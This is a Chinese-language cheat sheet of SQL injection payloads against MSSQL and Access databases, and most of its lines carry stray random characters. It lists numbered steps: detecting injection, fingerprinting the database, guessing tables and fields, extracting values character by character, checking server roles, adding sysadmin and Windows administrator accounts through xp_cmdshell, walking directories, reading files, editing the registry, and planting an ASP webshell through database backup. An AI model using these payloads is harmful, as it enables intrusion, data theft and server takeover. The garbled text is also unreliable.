1.判断是否有注入;and 1=1 ;and 1=2 %obR2%
2.初步判断是否是mssql ;and user>0 =dx!R ,Bw
gELk u .
3.注入参数是字符'and [查询条件] and ''=' N:GS fM@g
K*&M:u6E
4.搜索时没过滤参数的'and [查询条件] and '%25'=' Umjt~K^Z
C8rD54A'M
5.判断数据库系统 I|9(*tq)
G#gUd'=M
;and (select count(*) from sysobjects)>0 mssql lYmqFd~p
(4cWq!ax<$
;and (select count(*) from msysobjects)>0 access ^q5~;_z|
a
yn6k=F
\
T/i]z
L^bt-QbhO
6.猜数据库 ;and (select Count(*) from [数据库名])>0 7K,Quq.%+
:K>v
F`SM
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 3sIW4Cs7)U
MGze
IrV
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 usH9dys,
u?5d%]*
9.(1)猜字段的ascii值(access) R''nZ/R
S-}MS"
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 0]4kR8R3[
%tul(Z~<1
(2)猜字段的ascii值(mssql) [Oen{c9A
0B fqEAl
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 o(w!x!["
k4fc5P
10.测试权限结构(mssql) ~T@t7Cg
BZejqDr*
x|U~?
F-[zuYGp
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- SF$7WG3Q
>$SP2(Y~
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- x=T`i-M
ma9q?H#X
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- [ -"o5!0<
(MhC83|?
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- &IsQgS7R
=M'M/vKD
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- nwswy]e8/
+^ a9i5
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- =+5z;3
A]ZCQ49
;and 1=(select IS_MEMBER('db_owner'));-- QA>(}u\+
DX GClH
VN[C%C
,Tc3koi
11.添加mssql和系统的帐户 5OeTOI()&5
)]WWx-Uf'
;exec master.dbo.sp_addlogin username;-- `Fa49B|`D
;exec master.dbo.sp_password null,username,password;-- gwhd) .*
28FC@&'H
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- cKuU#&FaV
?T=]?[
;exec master.dbo.xp_cmdshell 'net user username password !+T\}1f7d
KwK[)Cvv
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- x{{QS$6v
Mx<z34(T
;exec master.dbo.xp_cmdshell 'net user username password /add';-- @)s;u}H
#=F"PhiX`
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- uT'_}cw
rE0?R(_
i; Cs,Esnf
pm$2*!1F(
12.(1)遍历目录 ALvj)I`Al
bj23S&
;create table dirs(paths varchar(100), id int) Vcn04j#Q
Vij P;
;insert dirs exec master.dbo.xp_dirtree 'c:\' J$6h%Eyo
AQn>K{M
;and (select top 1 paths from dirs)>0 :*bv(~FW
%x@
D i`;
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) 7'u<)V
dv=y,q@W
%pj6[x`@
RrrW0<Ed
(2)遍历目录 r@N 0%JZZ
j
!^Tw.Ty
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- K$OxeJP?F
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 -c-af%xD
. K`OEdr<
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 hY
2nT
[-o`^;
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 3sG7G:4
aEUC
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 Fe
3*pUt
mr:;Wwd
Yhdt"@;..
X-1<YG
13.mssql中的存储过程 ",/3PT
O@JgVdgf
xp_regenumvalues 注册表根键, 子键 kk]f*[Zi5
gXr"],OM;
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 dxqVZksg(9
3t<XbHF9
xp_regread 根键,子键,键值名 U'^AJ2L8
+5J "G/f
;exec xp_regread 'J^ M`/
bwh7.lDAl
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 kN3 T/96
FTM(y CN
xp_regwrite 根键,子键, 值名, 值类型, 值 Jf\lnJTyU8
dw
%aoe
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 f[,9WkC
%Q]u_0P*
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 lfjY45=
XL[/)lX{
xp_regdeletevalue 根键,子键,值名 (vte8uQe
l;i,V;@t
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 !0ly1T 9
UeWEncN(
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 zJ{?'kp
6o@}k9AN
89@\AjI
RjS;Ck@;
14.mssql的backup创建webshell )"?6Es SF
qz7:jq3N-{
use model '\%c"?
V:F;Nq%+j
create table cmd(str image); M99#\0=/
mv@cGdxu
insert into cmd(str) values (''); KTn,}7vZ
xe^*\6Y
backup database model to disk='c:\l.asp'; x_9<&Aj6
\)'nxFKqV
`|K,E
Z09FW>"u
15.mssql内置函数 K/RQ-xd4
jvx9b([<sG
;and (select @@version)>0 获得Windows的版本号 J6x\_]1:*
216+ tX5Z
;and user_name()='dbo' 判断当前系统的连接用户是不是sa 8r[ZGUV
4 -)'a} O
;and (select user_name())>0 爆当前系统的连接用户 T1zft#1~
Ta #vD_QP
;and (select db_name())>0 得到当前连接的数据库 u#5/s 8
EubR]ckB
SNP.n))
d_9Fc"C~
16.简洁的webshell -1Y9-nn[m
gyH'92ck
use model pT]M]/y/:
&pwSd
create table cmd(str image); iO=xx|d
fr'M)ox1
insert into cmd(str) values (''); UnNvlkjq9
)#-27Y
backup database model to disk='g:\wwwtest\l.asp';